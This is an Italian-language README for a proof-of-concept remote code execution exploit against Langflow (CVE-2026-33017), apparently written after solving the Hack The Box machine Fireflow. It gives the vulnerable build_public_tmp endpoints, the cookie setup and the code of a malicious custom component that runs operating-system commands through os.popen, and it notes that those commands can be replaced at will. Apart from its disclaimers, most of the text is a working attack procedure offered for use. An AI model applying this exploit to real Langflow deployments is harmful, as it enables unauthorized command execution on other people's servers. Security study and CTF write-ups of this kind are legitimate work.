
Proof-of-concept RCE per Langflow CVE-2026-33017 che utilizza un componente personalizzato dannoso per eseguire comandi del sistema operativo tramite build_public_tmp e recuperare l'output dagli eventi dei job.
PoC utilizzato durante la risoluzione della Fireflow, macchina di Hack The Box, per dimostrare lo sfruttamento dell'esecuzione arbitraria di codice tramite un componente personalizzato di Langflow.
Avviso: questo materiale è condiviso esclusivamente a scopo educativo, per lo studio della sicurezza e per la riproduzione dello scenario del CTF. Utilizza il PoC solo in ambienti propri, laboratori o sistemi per i quali hai un'autorizzazione esplicita.
Lo script automatizza l'invio di un flusso a un'istanza vulnerabile di Langflow.
L'idea generale è:
Nel contesto di HTB Fireflow, ho usato questo PoC per validare la possibilità di eseguire comandi nel contesto del processo di Langflow.
Il codice usato nel componente esegue:
whoami
hostname
id
pwd
ls -la
Puoi modificarlo. Questi comandi servono solo a identificare il contesto di esecuzione e a verificare l'accesso al sistema durante il laboratorio.
Prima di eseguire lo script, compila le tre variabili all'inizio del file:
BASE = "" # URL dell'istanza di Langflow
FLOW_ID = "" # ID del flusso
CLIENT_ID = "" # Client ID/cookie utilizzato dall'applicazione
BASEÈ l'URL base dell'istanza in test.
Esempio:
BASE = "http://TARGET"
Non includere /api/... nel valore, perché gli endpoint vengono aggiunti successivamente dallo script.
FLOW_IDÈ l'identificatore del flusso usato dall'endpoint build_public_tmp.
Compila con l'ID corrispondente al flusso trovato durante l'enumerazione del laboratorio:
FLOW_ID = "SEU_FLOW_ID"
CLIENT_IDÈ il valore usato come cookie client_id dall'applicazione:
CLIENT_ID = "SEU_CLIENT_ID"
Lo script in seguito crea la sessione e configura automaticamente questo cookie:
session = requests.Session()
session.verify = False
session.cookies.set("client_id", CLIENT_ID)
La prima richiesta viene inviata a:
/api/v1/build_public_tmp/{FLOW_ID}/flow
Il JSON inviato contiene un nodo genericNode il cui tipo è il componente personalizzato ExploitComp.
La parte rilevante del componente è:
class ExploitComp(Component):
...
def r(self) -> Data:
result = os.popen(
"whoami; hostname; id; pwd; ls -la"
).read()
return Data(data={
"result": result
})
Dopo che il server accetta il flusso, la risposta fornisce un job_id.
Lo script usa questo identificatore per interrogare:
/api/v1/build_public_tmp/{job_id}/events
Infine, gli eventi vengono elaborati e il risultato prodotto dal componente viene mostrato nel terminale.
Con le variabili configurate:
python3 poc.py
Un'esecuzione riuscita dovrebbe produrre qualcosa di simile a:
Pwning.....
HTTP: 200
Job ID: <job_id>
Events (/{job_id}/events):
### OUTPUT
----------------------------------------
<risultato dell'esecuzione>
----------------------------------------
Build completata in <tempo>s
Il contenuto esatto dell'output dipende da utente, hostname, permessi e directory di lavoro dell'ambiente vulnerabile.
In sintesi:
poc.py
│
├── configura BASE / FLOW_ID / CLIENT_ID
│
├── crea il componente personalizzato
│
├── genera il payload JSON
│
├── POST /api/v1/build_public_tmp/{FLOW_ID}/flow
│
├── ottiene il job_id
│
├── GET /api/v1/build_public_tmp/{job_id}/events
│
└── estrae il risultato dal componente
Per riprodurre il comportamento nel laboratorio, il comando eseguito si trova dentro ExploitComp.r():
result = os.popen(
"whoami; hostname; id; pwd; ls -la"
).read()
In un ambiente CTF autorizzato, questa parte può essere modificata con comandi adatti all'obiettivo della fase del laboratorio.
Raccomandazione: mantieni il PoC limitato all'ambiente CTF/lab ed evita di usarlo contro sistemi di terze parti.
Lo script usa Python 3 e le librerie:
pip install requests urllib3
Poi:
python3 poc.py
Questo è stato il PoC che ho usato durante il CTF/lab Fireflow di Hack The Box per validare la vulnerabilità e ottenere l'esecuzione di comandi nel contesto del servizio.
L'intenzione di questo README è documentare la tecnica in modo riproducibile per chi sta studiando la macchina, cercando vulnerabilità legate a Langflow o imparando la sicurezza delle applicazioni Python.
Questo progetto non ha lo scopo di incoraggiare accessi non autorizzati.
Il codice deve essere usato solo su:
L'autore non è responsabile dell'uso di questo codice contro sistemi senza autorizzazione.
Usa con responsabilità.